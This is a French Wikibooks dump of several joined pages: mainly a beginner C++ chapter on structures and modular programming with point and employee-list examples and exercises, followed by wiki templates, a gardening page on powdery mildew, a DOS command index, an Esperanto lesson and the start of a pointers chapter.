Abscisse de c : 4.5 <br/> Abscisse de c : 5.0 <br/> === Structuration d'un programme === *On va définir des structures. *On va ensuite écrire des fonctions permettant de manipuler ces structures. *On peut ensuite définir de nouvelles structures plus complexes à partir des structures de base et ainsi de suite. *Cette approche de la programmation par les structures de données est une véritable méthodologie de structuration du programme. === Fonctions manipulant des points === Sur le type point, on peut envisager d'effectuer les opérations suivantes : *saisir les coordonnées d'un point au clavier. *afficher les coordonnées d'un point. *calculer la distance entre 2 points. *calculer le milieu de 2 points. *Nous allons donc créer 4 fonctions nous permettant d'effectuer des manipulations sur les points. ===Exemple 2 : manipulation d'un point=== <pre> #include<iostream> using namespace std; #include<cmath> struct point { double x,y; }; void saisir_point(point &p) { cout<<"Tapez l'abscisse du point : ";cin>>p.x; cout<<"Tapez l'ordonnée du point : ";cin>>p.y; } void afficher_point(point p) { cout<<"Abscisse du point : "<<p.x<<endl; cout<<"Ordonnée du point : "<<p.y<<endl; } double distance(point a, point b) { double dx,dy; dx=a.x-b.x; dy=a.y-b.y; return sqrt(dx*dx+dy*dy); } void milieu(point a, point b, point &m) { m.x=(a.x+b.x)/2; m.y=(a.y+b.y)/2; } int main() { point X,Y,Z; double d; cout<<"SAISIE DE X"<<endl; saisir_point(X); cout<<"SAISIE DE Y"<<endl; saisir_point(Y); d=distance(X,Y); cout<<"La distance de X à Y est : "<<d<<endl; milieu(X,Y,Z); cout<<"AFFICHAGE DU POINT Z"<<endl; afficher_point(Z); return 0; } </pre> *'''Explications''' **Dans cet exemple, on définit une structure point. **On définit une fonction saisir_point(&p) qui a en paramètre un point passé par référence : en effet, cette fonction doit modifier la valeur du point p et y mettre les valeurs saisies par l'utilisateur. Il faut donc passer p par référence. p est un paramètre en sortie de cette fonction. **La fonction afficher_point(point p). Cette fonction affiche les coordonnées du point p. p est un paramètre en entrée de cette fonction et il est inutile de le passer par référence. **La fonction double distance(point a, point b) permet de calculer la distance entre les point a et b qui sont des paramètres en entrée de cette fonction. La distance est renvoyée par un return. **La fonction void milieu(point a, point b, point &m) calcule dans le point m le milieu du segment [ab]. a et b sont des paramètres en entrée de cette fonction. m est un paramètre en sortie qui est passé par référence. **La fonction main déclare 3 point X,Y et Z. On demande ensuite à l'utilisateur de taper les coordonnées de X et Y. On calcule en appelant la fonction distance la distance entre X et Y. On calcule dans le point Z le milieu de [XY]. On affiche finalement la distance XY et les coordonnées de Z. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> SAISIE DE X : <br/> Tapez l'abscisse du point : '''3''' <br/> Tapez l'ordonnée de a : '''4''' <br/> SAISIE DE Y <br/> Tapez l'abscisse du point : '''2''' <br/> Tapez l'ordonnée de a : '''5''' <br/> La distance de X à Y est : 1.414 <br/> AFFICHAGE DU POINT Z <br/> Abscisse du point : 2.5 <br/> Ordonnée du point : 4.5 <br/> ===Décomposition d'un programme en plusieurs fichiers=== Nos programmes vont désormais être découpé en plusieurs fichiers : certains seront des fichiers headers et porteront l'extension .h. D'autres comporteront du code et porteront l'extension .cpp. <br/> Chaque programme sera constitué de modules : chaque module sera défini par un fichier .h et un fichier .cpp. Chaque module aura une fonctionnalité bien définie. Il comportera en général la définition d'une structure et des fonctions permettant de manipuler ces structures. <br/> Cette approche nous permet d'améliorer petit à petit notre méthodologie de programmation. <br/> ===Réécriture de l'exemple 2 === *Nous allons réécrire l'exemple 2 en restructurant notre code selon cette approche modulaire. *Nous allons définir un module point qui regroupera la définition d'un point et différentes manipulations sur les points. *Ce module sera réutilisable dans d'autres contextes. ===Décomposition en modules === *On va créer un fichier point.h où on va regrouper : **la structure point. **les entêtes des fonctions manipulant point. **On va écrire un fichier point.cpp comportant : - #include "point.h" <br/> - les fonctions manipulant des points. <br/> *On a ainsi créé un module réutilisable permettant de manipuler des points. Lorsque le programme principal voudra utiliser notre module point, il faudra rajouter #include"point.h". *Sur des petits programmes cette structuration semble être une perte de temps. En fait cela permet de gagner du temps de débogage et cette méthodologie devient indispensable dès que l'application devient conséquente. ===Le programme principal === Notre programme est désormais constitué de 3 fichiers : <br/> *Les fichiers point.h et point.cpp qui définissent un module point. *Le fichier main.cpp qui contient la fonction main. Ce fichier utilise le module point et commence donc par #include "point.h". ===Les fichiers header=== Un programme peut être constitué d'un grand nombre de modules : par exemple imaginons qu'un programme soit constitué de 4 modules A, B, C et D. <br/> On suppose que B et C utilisent les notions définies dans A : ils commencent donc tous les deux par #include"A.h". <br/> On suppose que le module D utilise les notions définies dans B et dans C. D commence donc par #include"B.h" et #include"C.h". <br/> Le module A sera donc défini 2 fois dans le module D une fois lors de l'inclusion de B.h et une deuxième fois lors de l'inclusion de C.h. Le compilateur refusera de compiler notre programme ! <br/> ===Fichier header : la solution === Le fichier .h d'un module A commencera par #ifndef A_H et se terminera par #endif. <br/> La directive de compilation #ifndef permet d'inclure le code situé entre le#ifndef et #endif uniquement si la macro A_H est définie. <br/> Juste après #ifndef A_H, on va justement définir la macro A_H en écrivant #define A_H. <br/> Ainsi la première fois qu'on inclura A.h, la macro A_H ne sera pas définie, on inclura donc le code correspondant et on définira la macro A_H. <br/> La deuxième fois qu'on voudra inclure A.h, la macro A_H étant définie, le code du fichier A.h ne sera pas inclus. <br/> Grâce à cette méthode, les définitions contenues dans les fichiers .h ne seront inclues qu'une seule fois. <br/> === Exemple 3 : programmation modulaire === '''Fichier point.h''' <pre> #ifndef POINT_H #define POINT_H struct point { double x,y; }; void saisir_point(point &p); void afficher_point(point p); double distance(point a, point b); void milieu(point a, point b, point &m); #endif </pre> '''Fichier point.cpp''' <pre> #include "point.h" #include <iostream> using namespace std; #include <cmath> void saisir_point(point &p) { cout<<"Tapez l'abscisse du point : ";cin>>p.x; cout<<"Tapez l'ordonnée du point : ";cin>>p.y; } void afficher_point(point p) { cout<<"Abscisse du point : "<<p.x<<endl; cout<<"Ordonnée du point : "<<p.y<<endl; } double distance(point a, point b) { double dx,dy; dx=a.x-b.x; dy=a.y-b.y; return sqrt(dx*dx+dy*dy); } void milieu(point a, point b, point &m) { m.x=(a.x+b.x)/2; m.y=(a.y+b.y)/2; } </pre> '''Fichier main.cpp)''' <pre> #include "point.h" #include <iostream> using namespace std; int main() { point X,Y,Z; double d; cout<<"SAISIE DE X"<<endl; saisir_point(X); cout<<"SAISIE DE Y"<<endl; saisir_point(Y); d=distance(X,Y); cout<<"La distance de X à Y est : "<<d<<endl; milieu(X,Y,Z); cout<<"AFFICHAGE DU POINT Z" <<endl;afficher_point(Z); return 0; } </pre> *'''Explications''' **Le fichier point.h va contenir : ***l'utilisation des directives #ifndef, #define et #endif pour éviter l'inclusion multiple des fichiers .h. ***la définition de la structure point ***les entêtes des fonctions manipulant des points. **Le fichier point.cpp commence par #include "point.h". Comme il utilise cin et cout, il contient aussi #include<iostream>. Comme il utilise sqrt, il contient aussi #include<cmath>. Il contient également les 4 fonctions du module. **Le fichier main.cpp contient notre fonction main() qui est identique à celle de l'exemple 2. ===Structuration de notre programme et de notre réflexion=== *Au lieu d'avoir un seul grand fichier contenant le main et toutes les fonctions , il y a plusieurs petits fichiers . *Lorsqu'on écrit le fichier point.h, on réfléchit à la spécification de chaque fonction : QUE fait notre fonction ? *Lorsqu'on écrit le fichier point.cpp, on réfléchit à comment on implémente ces spécifications : COMMENT REALISER cette fonctionnalité ? *Lorsqu'on écrit notre fichier main, on réfléchit à l'utilisation des fonctions de point.h en vue de résoudre notre programme : COMMENT UTILISER ces fonctions ? === Gérer une liste d'employés=== On va maintenant réaliser un programme plus complexe : un service du personnel veut gérer des employés qui possèdent chacun un nom, un prénom et un salaire. On veut manipuler une liste d'employés grâce au menu suivant : <br/> 1. Ajouter un employé <br/> 2. Afficher la liste <br/> 3. Rechercher un employé <br/> 4. Quitter ===Cahier des charges=== Le cahier des charges est un document écrit spécifiant avec la plus grande précision possible ce que doit faire notre programme. <br/> Un employé est défini par un nom, un prénom et un salaire. Le nom et le prénom comporteront au maximum 9 caractères utiles. Lorsqu'on rajoute un employé dans la liste, on le rajoute à la fin de la liste. <br/> Lorsqu'on affiche la liste des employés, on l'affiche dans le même ordre que celui de la saisie. <br/> Lorsqu'on recherche un employé, on saisit un nom, et on affiche toutes les caractéristiques de tous les employés portant ce nom. <br/> ===Analyse du problème === On réfléchit au problème et on définit un ensemble de structures de données et de fonctions permettant de répondre au problème. <br/> Il est bon de séparer les fonctions réalisant des entrées-sorties et les fonctions manipulant les données. <br/> A la fin de cette analyse la structuration en modules de notre programme doit apparaître. <br/> ===Résultat de notre réflexion=== Dans notre programme, il y a 3 entités : <br/> Un employe composé d'un nom, d'un prénom, et d'un salaire. <br/> Une liste d'employés sur laquelle on peut ajouter un employé, afficher la liste et faire des recherches. <br/> Une interface homme machine sous la forme de menu en mode texte. <br/> Chacune de ces entités correspondra à un module. <br/> ===Le module employé=== Il contiendra la définition d'une structure employé. <br/> Dans ce module, il y aura 2 fonctions : une pour saisir les caractéristiques d'un employé et une autre pour les afficher à l'écran. <br/> ===Le module liste=== Notre liste d'employés sera représentée par un tableau statique de 100 employés et un entier nb qui représente le nombre d'employés réellement présents dans la liste. On définira une telle structure dans ce module. <br/> On définira également 4 fonctions pour manipuler cette liste : *une fonction pour initialiser la liste à la liste vide. *une fonction pour afficher une liste d'employés. *une fonction pour ajouter un employé dans la liste. *une fonction pour rechercher tous les employés portant un nom donné. *'''Remarque : '''il y a de nombreuses méthodes pour représenter notre liste, nous en verrons une autre au chapitre suivant. ===Le module menu=== Il permet de gérer notre interface graphique en mode texte. Il comporte : *une fonction menu qui contient la boucle principale le notre menu. *une fonction choix qui affiche le menu et saisit le choix de l'utilisateur. *une fonction traiter_choix qui effectue la manipulation souhaitée par l'utilisateur sur la liste. ===Exemple 4 : gérer une liste d'employés=== '''Fichier emp.h''' <pre> #ifndef EMP_H #define EMP_H struct employe { char nom[10]; char prenom[10]; double salaire; }; void saisir_employe(employe &e) ; //Permet de saisir un employé void affiche_employe(employe e) ; //Permet d'afficher un employé #endif </pre> '''Fichier emp.cpp''' <pre> #include "emp.h" #include <iostream> using namespace std; void saisir_employe(employe &e) { cout<<"Tapez le nom : ";cin>>e.nom; cout<<"Tapez le prenom : ";cin>>e.prenom; cout<<"Tapez le salaire : ";cin>>e.salaire; } void affiche_employe(employe e) { cout<<e.nom<<" "<<e.prenom<<" " <<e.salaire<<endl; } </pre> '''Fichier liste.h''' <pre> #ifndef LISTE_H #define LISTE_H #include"emp.h" const int liste_pleine=-1; const int liste_nb_max=100; struct liste { int nb; employe t[liste_nb_max]; }; void init_liste(liste &l); //Initialise la liste à 0 employé int ajoute(liste &l, employe e); // Ajoute en employé : renvoi -1 si le tableau est plein 0 sinon void affiche(liste l); // Affiche la liste void recherche(liste l1, char nom[],liste &l2); // met dans l2 tous les employés de l1 portant le nom nom #endif </pre> '''Fichier liste.cpp''' <pre> #include "liste.h" #include<iostream> using namespace std; #include<cstring> void init_liste(liste &l) { l.nb=0; } int ajoute(liste &l, employe e) { int r; if(l.nb==liste_nb_max)r=liste_pleine; else {r=0;l.t[l.nb]=e;l.nb++;} return r; } void affiche(liste l) { int i; if(l.nb==0)cout<<"LISTE VIDE"<<endl; for(i=0;i<l.nb;i++)affiche_employe(l.t[i]); } void recherche(liste l1, char nom[],liste &l2) { int i; init_liste(l2); for(i=0;i<l1.nb;i++)if(strcmp(l1.t[i].nom,nom)==0)ajoute(l2,l1.t[i]); } </pre> '''Fichier menu.h''' <pre> #ifndef MENU_H #define MENU_H #include "liste.h" void menu(liste &l); int choix(); bool traiter_choix(liste &l,int choix); #endif </pre> '''Fichier menu.cpp''' <pre> #include "menu.h" #include<iostream> using namespace std; int choix() { int i ; cout<<"1.Ajoute un employe"<<endl; cout<<"2.Afficher la liste"<<endl; cout<<"3.Rechercher un employe"<<endl; cout<<"4.Quitter"<<endl; cout<<"Votre choix :";cin>>i; return i; } void menu(liste &l) { bool fini; int i; do { i=choix(); fini=traiter_choix(l,i); }while(fini==false); } bool traiter_choix(liste &l,int choix) { employe e; char nom[10]; liste l2; int r; bool fini=false; switch(choix) { case 1: saisir_employe(e); r=ajoute(l,e); if(r==liste_pleine)cout<<"La liste est pleine"<<endl; break; case 2: affiche(l); break; case 3: cout<<"Tapez le nom :";cin>>nom; recherche(l,nom,l2); cout<<"Voici le resultat de la recherche :"<<endl; affiche(l2); break; case 4: fini=true; break; } return fini; } </pre> '''Fichier main.cpp''' <pre> #include"liste.h" #include"menu.h" int main() { liste l; init_liste(l); menu(l); return 0; } </pre> *'''Explications''' **Notre programme sera constitué de 7 fichiers : ***emp.h et emp.cpp qui définissent notre module employé. ***liste.h et liste.cpp qui définissent notre module liste. ***menu.h et menu.cpp qui définissent notre module menu. ***La fichier main.cpp qui contient notre programme fonction main(). **'''Un point technique''' ***Si l est une liste d'employé, le i-ième employé du tableau t de la liste l sera noté l.t[i] . Cet élément est du type emp. ***Le salaire du i-ième employé du tableau t de la liste l sera noté l.t[i].salaire . Cet élément est du type double. ***Le nom du i-ième employé du tableau t sera noté l.t[i].nom . Il s'agit d'un tableau de char. ***Si on voulait accéder au j-ème caractère du nom du i-ième employé du tableau t de la liste l, il faudrait écrire l.t[i].nom[j] ***'''Il ne faut pas se laisser impressionner par ces notations !''' **'''le module employé''' ***La structure emp sera composé de 2 chaînes de caractères (le nom et le prénom) et d'un double (le salaire de l'employé). ***La fonction void saisir_employe(employe &e) permet de saisir au clavier les caractéristique d'un employé : employe est un paramètre en sortie de cette fonction. ***La fonction void affiche_employe(employe e) permet d'afficher à l'écran les caractéristiques d'un employé. employe est un paramètre en entrée de cette fonction. **'''le module liste''' ***La structure liste sera composée d'un tableau d'employés et d'un entier nb qui est le nombre d'employés réellement ajoutés dans la liste. On peut définir des tableaux de structures de la même manière que n'importe quelle autre tableau. La taille du tableau est défini par la constante liste_nb_max. ***La fonction void init_liste(liste &l) initialise la liste d'employés à la liste vide. Elle se contente de mettre la 0 le nombre d'employés. ***La fonction int ajoute(liste &l, employe e) ajoute l'employé e à la fin de la liste d'employés l. Cette fonction renvoie 0 si tout s'est bien passé, elle renvoie liste_pleine si le tableau d'employés est plein. ***La fonction void affiche(liste l) affiche la liste d'employés à l'écran : cette fonction utilise la fonction affiche_employe du module employé. ***La fonction void recherche(liste l1, char nom[],liste &l2) recherche dans la liste l1 tous les employés portant le nom nom et met ces employés dans la liste l2. l1et nom sont des paramètres en entrée de la fonction affiche et l2 sera un paramètre en sortie. **'''le module menu''' ***Ce module contient l'interface homme machine de notre application. ***La fonction void menu(liste &l) permet de gérer la liste l grâce à notre menu. Cette fonction contient la boucle do … while principale de notre programme. ***La fonction int choix() affiche le menu de notre programme, demande à l'utilisateur de faire un choix dans le menu et renvoie ce choix par un return. ***La fonction bool traiter_choix(liste &l,int choix) effectue le traitement désigné par l'entier choix sur la liste l. Si ce choix a pour conséquence la sortie du menu principal la fonction renvoie true, sinon elle renvoie false. Cette fonction est essentiellement constituée d'un switch et de l'appel à des fonction du module liste. ===Structuration de notre programme=== Il y a de nombreuses fonctions courtes (moins de 20 lignes) réalisant chacune une fonction bien précise. <br/> Ces fonctions sont rassemblées en 3 modules : employe, liste et menu plus bien sûr le programme principal. <br/> Cette structuration (qui peut apparaître au départ fastidieuse) permet de développer plus rapidement en rendant plus courte la phase de débogage. <br/> Il est très facile de rajouter de nouvelles fonctionnalités dans notre application. <br/> ===Approche modulaire et compilation séparée=== Notre programme est constitué de 3 modules et de 7 fichiers. <br/> Lorsqu'un seul des modules est modifié le compilateur ne va pas recompiler la totalité des fichiers de notre applications mais seulement ceux qui ont été modifiés. <br/> Ce point peut être important lorsqu'un programme est constitué de centaines de modules. <br/> ===Conclusion=== La notion de structure est une notion très importante en programmation et nous permet de définir des éléments plus complexes que les simples types de base. <br/> Elles permettent de gagner un niveau d'abstraction supplémentaire par rapport aux type de base. <br/> L'approche modulaire permet d'affiner notre méthodologie de programmation et de structurer notre réflexion en plusieurs phases : <br/> - comment représenter une notion donnée ? <br/> - quelles sont les fonctions nécessaires pour manipuler cette notion ? <br/> - La phase technique : comment écrire ces fonctions ? <br/> On constate que la phase technique, bien qu'indispensable, n'est pas l'élément crucial du développement d'un programme : en amont, il y a une phase d'analyse et de structuration bien plus importante. <br/> ==Exercices sur les structures== ===EXERCICE 1=== a) Ecrire une structure fraction composée de 2 entiers : un numérateur et un dénominateur. <br/> b) Ecrire une fonction pgcd qui calcule le pgcd de 2 entiers positifs.<br/> c) Ecrire une fonction normalise qui normalise une fraction de la manière suivante :<br/> - le numérateur et le dénominateur doivent être premier entre eux<br/> - le dénominateur est positif<br/> d) Ecrire une fonction saisir qui permet de saisir une fraction.<br/> e) Ecrire une fonction affiche qui affiche une fraction.<br/> f) Ecrire une fonction somme qui calcule la somme de 2 fractions. Le résultat doit être normalisé. <br/> g) Ecrire 3 autres fonctions : différence, multiplie et divise comme au f)<br/> h) Ecrire un programme qui permet de saisir les fractions A, B, D, E et F et qui calcule (A+B)/(D-E*F) .<br/> Le résultat sera affiché à l’écran. ===EXERCICE 2=== On veut gérer des produits dans un entrepôt. Un produit est défini par 2 chaînes de caractères : le code produit ("H567" par exemple et qui comporte au maximum 9 caractères utiles), l'intitulé ("pots de peinture" et qui comporte au maximum 99 caractères utiles) et un entier qui indique la quantité en stock (803 par exemple). Il faut gérer une liste de produits en veillant à ce qu'il n'y ait pas deux produits avec le même code produit. Bien sûr la quantité en stock ne peut pas être négative. La liste comportera au maximum 100 produits.<br/> Il faut gérer la liste grâce au menu suivant :<br/> 1. Ajouter un produit (on tape le code produit et l'intitulé, la quantité est initilisée à 0).<br/> 2. Afficher la liste de produits.<br/> 3. Supprimer un produit en tapant le code produit.<br/> 4. Acheter un produit en tapant le code produit et la quantité achetée.<br/> 5. Vendre un produit en tapant le code produit et la quantité vendue. <br/> 6. Quitter<br/> <br/> On veillera à bien décomposer ce problème en différents modules et à mener une reflexion sur les fonctions nécessaires dans chaque module. ===EXERCICE 3=== On veut écrire un programme qui permet de gérer une liste de disques. Un disque est défini par un code référence (une chaîne de caractères par exemple "H345"), nom de chanteur, un nom de chanson et prix. Le code référence fera au maximum 9 caractères utiles, le titre du disque et le nom du chanteur feront au maximum 99 caractères utiles.<br/> On veut gérer une liste de disques grâce au menu suivant :<br/> <br/> 1. Ajouter un disque à la liste.<br/> 2. Afficher la liste.<br/> 3. Supprimer un disque grâce à son code référence.<br/> 4. Afficher tous les disques d'un chanteur donné.<br/> 5. Afficher tous les disques ayant un titre donné.<br/> 6. Quitter<br/> On veillera à bien décomposer ce problème en différents modules et à mener une reflexion sur les fonctions nécessaires dans chaque module.<br/> Modèle:Navigation Prec Suiv 6833 30936 2006-01-31T09:01:06Z Gmarzin 1053 <div style="text-align:center;border:1px solid silver"> [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/{{{1}}}|<< {{{1}}}]] / [[Programmation JavaScript/{{{2}}}|{{{2}}} >>]] </div> Modèle:Cadre méthode 6834 30937 2006-01-31T09:01:54Z Gmarzin 1053 <div style="padding: 0.2em; width: 75%; background-color: #f2fff2; border: solid 1px #bfffbf;"> <div style="background-color: #EEE; border: solid 1px #a0ffa0">Méthode: {{{1}}}</div> <table style="vertical-align:top"> <tr> <td style="vertical-align:top">Rôle :</td> <td style="vertical-align:top>{{{2}}}</td></tr> <tr> <td style="vertical-align:top">Arguments :</td> <td style="vertical-align:top>{{{3}}}</td> </tr> <tr> <td style="vertical-align:top">Valeur revoyée :</td> <td style="vertical-align:top>{{{4}}}</td> </tr> </table> </div> Wikimodule:langage C++ niveau 1:DS1 6835 31008 2006-01-31T15:30:11Z Merrheim 1032 /* Exercice 1 */ [[Wikimodule:langage C++ niveau 1|Retour au module]] ==Module le langage C++ niveau 1 : WIKI DS n° 1== ===Modalités === '''Durée : '''2 heures<br/> '''Sans documents, sans ordinateurs, sans aide extérieure''' ===Exercice 1 === Ecrire un programme en C++ qui demande à l'utilisateur de saisir 10 entiers ainsi que 2 entiers a et b et qui calcule le nombre de valeurs tapées parmi les 10 comprises entre a et b (bornes incluses). ===Exercice 2 === Ecrire un programme en C++ qui demande à l'utilisateur de saisir une valeur N et qui affiche u(N) défini par : <br/> u(0)=1<br/> u(n+1)=2*u(n)+n<br/> ===Exercice 3 === Ecrire un programme en C++ qui demande à l'utilisateur de saisir 10 entiers qui seront stochés dans un tableau et qui affiche l'indice du plus grand élément du tableau. Si le plus grand élément est présent 2 fois, on affichera le plus petit indice. ===Exercice 4=== Ecrire un programme en C++ qui demande à l'utilisateur de saisir un entier N et qui affiche le motif suivant :<br/> '''N=1'''<br/> A <br/> '''N=2'''<br/> AB<br/> AA<br/> '''N=3'''<br/> ABB<br/> AAB<br/> AAA<br/> '''N=4'''<br/> ABBB<br/> AABB<br/> AAAB<br/> AAAA<br/> '''N=5'''<br/> ABBBB<br/> AABBB<br/> AAABB<br/> AAAAB<br/> AAAAA<br/> ===Problème=== Ecrire un programme qui demande à l'utilisateur de gérer une liste d'entiers (d'au maximum 10 entiers) grâce au menu suivant : <br/> 1. Ajouter un entier dans la liste <br/> 2. Afficher la liste <br/> 3. Afficher la moyenne des éléments de la liste <br/> 4. Supprimer l'entier se trouvant dans la case i (i sera tapé par l'utilisateur) <br/> 5. Quitter <br/> Le programme devra interdire qu'il y ait 2 fois la même valeur dans le tableau.<br/> Les maladies et les nuisibles au jardin 6837 34747 2006-02-25T18:15:18Z Greudin 1 [[Les Maladies et les Nuisibles au jardin]] déplacé vers [[Les maladies et les nuisibles au jardin]]: typo Le mauvais état de la plante captive le regard du jardinier, mais très souvent il est déjà trop tard. Certaines maladies peuvent être causées par une mauvaise culture ou par le manque de soleil (mauvaise exposition), ce qui a pour conséquence de flétrir la plante ou de la décolorer. Un arrosage trop abondant fragilise la plante donc, nuit à la bonne résistance de celle-ci contre les nuisibles et aux différences de températures entre le jour et la nuit. La composition du sol est également à l'origine de certaines maladies tel que la chlorose (jaunissement des feuilles). == Les maladies == ==== '''''Oïdium''''' : ==== L'humidité, l'arrivée des premières chaleurs, et les écarts de température importants entre le jour et la nuit constituent des facteurs favorisant l'apparition de ce champignon en mai. Cette maladie dite du "blanc" commence ses ravages au printemps et menace grand nombre de cultures, aussi bien au jardin d'ornement qu'au verger ou au potager. '''Symptôme''' : Tout commence par l'apparition d'un feutrage blanc d'aspect farineux qui se fixe sur les feuilles, les tiges et parfois les fleurs. Souvent, l'oidium provoque une déformation des feuilles, qui se gondolent et se boursouflent. ! '''Objet''' : Ce champignon appartient à une famille nombreuse, dont les différents membres s'attaquent au bégonia, au pied d'alouette, au rosier, au melon, à la courgette, à la tomate, au pommier, au groseillier à maquereau, à la vigne... c’est à dire à la majeur partie de vos cultures. '''Action''' : Pour une meilleure efficacité, il est souhaitable de mener une action préventive, c’est à dire prendre des mesures méthodiques et draconiennes : *Espacer suffisamment les plants , nettoyer régulièrement autour des plantations * Supprimer les parties ou sujets atteints afin que la maladie ne se propage pas trop vite, * Lorsqu'il fait chaud, veiller à ne pas arroser le feuillage, * Traiter préventivement les sujets sensibles par une décoction de prêle. '''Traitement''' : Dès l'apparition des premiers symptômes de la maladie, et au-delà de 15% de surface atteinte, tout traitement s’avérera inefficace... Les seuls traitements agissant à l’éruption de la maladie sont l'utilisation des produits à base de souffre, de [[w:Chinométhionate|chinométhionate]] (Pesticide) ou de fongicide à base de [[w:Dinocap|dinocap]], produits chimiques fortement toxiques, non '''''biologiques'''''. Modèle:DIRMARK 6838 31053 2006-01-31T20:00:24Z Gangleri 982 please protect this page against moves and edits - please read [[commons:Template talk:DIRMARK]] &lrm; Modèle:Wikisource 6840 43905 2006-06-05T19:21:59Z Lunisdies 1220 Nouveau logo {{Wikilien | image=Wikisource-logo.png |texte=[[w:Accueil|Wikisource]] propose un ou plusieurs textes de '''[[:s:{{{1|{{PAGENAME}}}}}|''{{{2|{{PAGENAME}}}}}'']]''' dans le [[w:Domaine public, en droit de la propriété intellectuelle|domaine public]] |couleur_fond=f9f9f9 }} DOS 6841 31105 2006-02-01T10:23:37Z Guillaumito 46 == Liste des commandes == * '''A''' ** [[Append (DOS)]] ** [[Arp (DOS)]] ** [[Assoc (DOS)]] ** [[At (DOS)]] ** [[Attrib (DOS)]] * '''B''' ** [[Bootcfg (DOS)]] ** [[Break (DOS)]] * '''C''' ** [[Cacls (DOS)]] ** [[Call (DOS)]] ** [[Cd (DOS)]] ** [[Chcp (DOS)]] ** [[Chdir (DOS)]] ** [[Chkdsk (DOS)]] ** [[Chkntfs (DOS)]] ** [[Cipher (DOS)]] ** [[Cls (DOS)]] ** [[Cmd (DOS)]] ** [[Color (DOS)]] ** [[Comp (DOS)]] ** [[Compact (DOS)]] ** [[Convert (DOS)]] ** [[Copy (DOS)]] * '''D''' ** [[Date (DOS)]] ** [[Defrag (DOS)]] ** [[Del (DOS)]] ** [[Deltree (DOS)]] ** [[Dir (DOS)]] ** [[Diskcomp (DOS)]] ** [[Diskcopy (DOS)]] ** [[Diskperf (DOS)]] ** [[Dnscmd (DOS)]] ** [[Doskey (DOS)]] * '''E''' ** [[Echo (DOS)]] ** [[Edit (DOS)]] ** [[Endlocal (DOS)]] ** [[Erase (DOS)]] ** [[Eventcreate (DOS)]] ** [[Eventtriggers (DOS)]] ** [[Exit (DOS)]] ** [[Expand (DOS)]] * '''F''' ** [[Fc (DOS)]] ** [[Find (DOS)]] ** [[Findstr (DOS)]] ** [[For (DOS)]] ** [[Format (DOS)]] ** [[Ftp (DOS)]] ** [[Ftype (DOS)]] * '''G''' ** [[Goto (DOS)]] ** [[Graftabl (DOS)]] * '''H''' ** [[Help (DOS)]] ** [[Hostname (DOS)]] * '''I''' ** [[If (DOS)]] ** [[Ipconfig (DOS)]] ** [[Ipv6 (DOS)]] * '''J''' ** [[Jview (DOS)]] * '''L''' ** [[Label (DOS)]] * '''M''' ** [[Makecab (DOS)]] ** [[Md (DOS)]] ** [[Mem (DOS)]] ** [[Mkdir (DOS)]] ** [[Mode (DOS)]] ** [[More (DOS)]] ** [[Mountvol (DOS)]] ** [[Move (DOS)]] * '''N''' ** [[Nbtstat (DOS)]] ** [[Net (DOS)]] *** [[Net send (DOS)]] *** [[Net start (DOS)]] ** [[Netsh (DOS)]] ** [[Netstat (DOS)]] ** [[Nlsfunc (DOS)]] ** [[Nslookup (DOS)]] * '''P''' ** [[Path (DOS)]] ** [[Pathping (DOS)]] ** [[Pause (DOS)]] ** [[Pentnt (DOS)]] ** [[Ping (DOS)]] ** [[Popd (DOS)]] ** [[Print (DOS)]] ** [[Prompt (DOS)]] ** [[Pushd (DOS)]] * '''R''' ** [[Rcp (DOS)]] ** [[Rd (DOS)]] ** [[Recover (DOS)]] ** [[Reg (DOS)]] ** [[Rem (DOS)]] ** [[Ren (DOS)]] ** [[Rename (DOS)]] ** [[Replace (DOS)]] ** [[Rexec (DOS)]] ** [[Rmdir (DOS)]] ** [[Route (DOS)]] ** [[Rsh (DOS)]] * '''S''' ** [[Scandisk (DOS)]] ** [[Schtasks (DOS)]] ** [[Set (DOS)]] ** [[Setlocal (DOS)]] ** [[Setver (DOS)]] ** [[Sfc (DOS)]] ** [[Shift (DOS)]] ** [[Sort (DOS)]] ** [[Start (DOS)]] ** [[Subst(DOS)]] ** [[Sys (DOS)]] ** [[Systeminfo (DOS)]] * '''T''' ** [[Taskkil (DOS)]] ** [[Tasklist (DOS)]] ** [[Telnet (DOS)]] ** [[Tftp (DOS)]] ** [[Time (DOS)]] ** [[Type (DOS)]] ** [[Title (DOS)]] ** [[Tree (DOS)]] ** [[Typeperf (DOS)]] * '''V''' ** [[Ver (DOS)]] ** [[Verify (DOS)]] ** [[Vol (DOS)]] * '''X''' ** [[Xcopy (DOS)]] [[Catégorie:DOS|*]] Espéranto : Sixième Leçon 6842 42573 2006-05-17T07:24:43Z 82.233.108.150 correction accents ==Nombres== Les numéros sont invariables. *0 nul 1 unu 2 du 3 tri 4 kvar 5 kvin 6 ses 7 sep 8 ok 9 naŭ 10 dek 100 cent 1000 mil Pour former d'autres sommes on se base sur les dix premiers chiffres. Ex: *11 dek unu *12 dek du *20 dudek *21 dudek unu ==Antonyme== L'antonyme sindique en mettant le préfixe '''mal-'''. Ex: *méchant.....malĝentila *triste.....malĝoja *beau.....malbela *vieux(lle).....maljuna ==Contenant partiel== Le contenant partiel s'indique en mettant le suffixe '''-ing-'''. Ex: *fourreau d'épée.....spadingo *fourreau d'un glaive.....glavingo [[Catégorie:Espéranto|06]] Programmation C++ (débutant)/Les pointeurs 6844 39975 2006-04-11T12:28:44Z 134.214.32.78 /* Exemple 1 : utilisation de pointeurs */ {{C++ débutant}} == Le cours du chapitre 10 : Les pointeurs== __TOC__ ===Présentation=== Les pointeurs sont une des difficultés majeures du C++. Nous apprendrons dans ce chapitre à les manipuler. Ce sera l'occasion d'étudier les fonctions avec passage de paramètres par pointeur . Ce passage de paramètres peut sembler obsolète et on peut penser qu'il vaut mieux utiliser le passage de paramètres par référence mais tout programmeur en C++ se doit de le connaître et il est toujours très utilisé.<br/> Nous étudierons également les liens entre les tableaux et les pointeurs. Jusqu'à maintenant, nous manipulions des tableaux dont la taille était constante. Nous étudierons dans ce chapitre les tableaux dynamiques dont la taille peut être quelconque et variable au cours du temps.<br/> Ce sera l'occasion d'étudier l'allocation dynamique de mémoire qui permet au programmeur de gérer la RAM comme bon lui semble en créant ou en détruisant de nouvelles structures. A l'occasion d'exercices, nous verrons une structure de données plus complexe : des listes constitués de tableaux dynamiques dont la taille peut s'allonger au fur et à mesure des besoins. ===Une notion délicate=== Il s'agit d'une notion importante du C++ mais qui est assez délicate à utiliser. Les pointeurs semblent au départ assez pratique à utiliser mais de nombreux bugs résultent de leur utilisation. Il convient donc de savoir les utiliser 